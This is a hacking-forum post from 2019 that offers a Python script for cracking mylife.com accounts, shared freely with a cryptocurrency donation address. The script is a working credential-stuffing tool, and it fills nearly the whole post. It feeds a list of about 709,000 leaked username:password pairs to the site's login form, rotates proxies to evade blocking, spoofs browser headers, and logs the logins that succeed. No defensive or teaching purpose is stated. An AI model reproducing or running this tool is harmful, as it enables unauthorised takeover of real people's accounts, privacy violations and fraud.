Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


mylife account cracker filter_list
Author
Message
mylife account cracker #1
I just threw a python script together back when I needed some stuff for personal OSINT. Enjoyyy.

Spoiler:
Code:
import os #Author: SickPsycko import requests import json import re import random from bs4 import BeautifulSoup import threading import queue from sys import * import time combolist = list() proxylist = list() cracked = list() pending_task = 0 target_url = "https://www.mylife.com/site/login.proc" def populate_lists(combon, proxyn): combof = open(combon, 'r') print("[+] Loading Combination File...") for line in combof: combolist.append(line) combof.close() print("[+] Loading Proxies...") with open(proxyn, 'r') as pf: p_obj = json.load(pf) for proxy in p_obj: proxy_parsed = str(proxy["host"]) + ":" + str(proxy["port"]) proxylist.append(proxy_parsed) def auth_crack(in_queue, out_queue): while True: with requests.Session() as session: try: comboup = in_queue.get() (user, passw, retryk) = comboup.split(":") payload = { '_spring_security_remember_me':'1','username':user, 'password':passw, 'dispatch':'logon', 'fromURL':'$!request.getAttribute("fromURL")'} if len(proxylist) < 10: print("Not enough Proxies!") os._exit(0) proxyindex = random.randint(0, len(proxylist) - 1) proxy = { "http": proxylist[proxyindex],"https" : proxylist[proxyindex]} session.proxies = proxy session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0"}) session.get("https://www.mylife.com/site/login.pubview", proxies=proxy, timeout=10) session.cookies session.headers.update({"Origin":"https://www.mylife.com", "Referer": "https://www.mylife.com/site/login.pubview"}) resp = session.post(target_url, data=payload, allow_redirects=True, timeout=10) failed_key_search = BeautifulSoup(resp.text, 'html5lib') failed_element = failed_key_search.find("div", class_="errorList") if "Invalid Username or Password" in failed_element.text: failr = "fail" out_queue.put(failr) in_queue.task_done() else: success_up = "success:" + user + ":" + passw + ":null" out_queue.put(success_up) in_queue.task_done() except(KeyboardInterrupt, SystemExit): print("Exiting!") if len(cracked) > 0: for line in cracked: print(line) os._exit(0) except (requests.exceptions.RequestException): if proxyindex < len(proxylist): proxylist.remove(proxylist[proxyindex]) retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry" out_queue.put(retuserp) in_queue.task_done() except Exception as exc: print(type(exc), str(exc)) if proxyindex <= len(proxylist): proxylist.remove(proxylist[proxyindex]) retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry" out_queue.put(retuserp) in_queue.task_done() if __name__ == '__main__': acct_tried = 0 crackedc = 0 retryc = 0 combofile = "709k.txt" proxyfile = "proxies.txt" populate_lists(combofile, proxyfile) print("[+] Cracking Accounts..") comboprocl = queue.Queue() crackedreturn = queue.Queue() total = len(combolist) #start workers for i in range(10): t = threading.Thread(target=auth_crack, args=(comboprocl, crackedreturn)) t.daemon = True t.start() #Pass data and crack account for i in range(total): comboprocl.put(combolist[i] + ":null") erroread = "" #get combo status and process success and Failure #for i in range(total): # succ_fail = crackedreturn.get() # errorread = str(succ_fail) # if "connerr" in errorread: # pending_task = pending_task + 1 # (conerrn, user, passw, retryk) = errorread.split(":") # userc = user + ":" + passw # retryl.append("userc") # elif "success" in errorread: # (connerrn, user, passw, retryk) = erroread.split(":") # success_combo = user + ":" + user # if retryk is "null": # cracked.append(success_combo) while True: numproxies = len(proxylist) account_total = len(combolist) stdout.write("[x]Attempts [%i/%i] [/]Proxies: [%i] [/]Retries: [%i] [/]Cracked: [%i] %s"%(acct_tried, account_total, numproxies, retryc, crackedc, "\r")) stdout.flush() try: succ_fail = crackedreturn.get() if "connerr" in succ_fail: pending_task = pending_task + 1 retryc = retryc + 1 (conerrn, user, passw, retryk) = succ_fail.split(":") userc = user + ":" + passw comboprocl.put(userc + ":retry") elif "success" in succ_fail: (connerrn, user, passw, retryk) = succ_fail.split(":") success_combo = user + ":" + passw cracked.append(success_combo) acct_tried = acct_tried + 1 elif "fail" in succ_fail: acct_tried = acct_tried + 1 except queue.Empty: break; t.join() for line in cracked: print(line) os._exit(0)


15PiEmdNquZDJdkanYLkJLZPyVrow54kaG
Donations
(This post was last modified: 11-11-2019, 07:03 AM by SickPsycko. Edit Reason: Fixed a line )
“Lord, protect me from my friends; I can take care of my enemies.”  - Volitaire

Reply





Messages In This Thread
mylife account cracker - by SickPsycko - 11-11-2019, 06:54 AM
RE: mylife account cracker - by tommyxxx1 - 11-11-2019, 06:57 AM
RE: mylife account cracker - by SickPsycko - 11-11-2019, 07:03 AM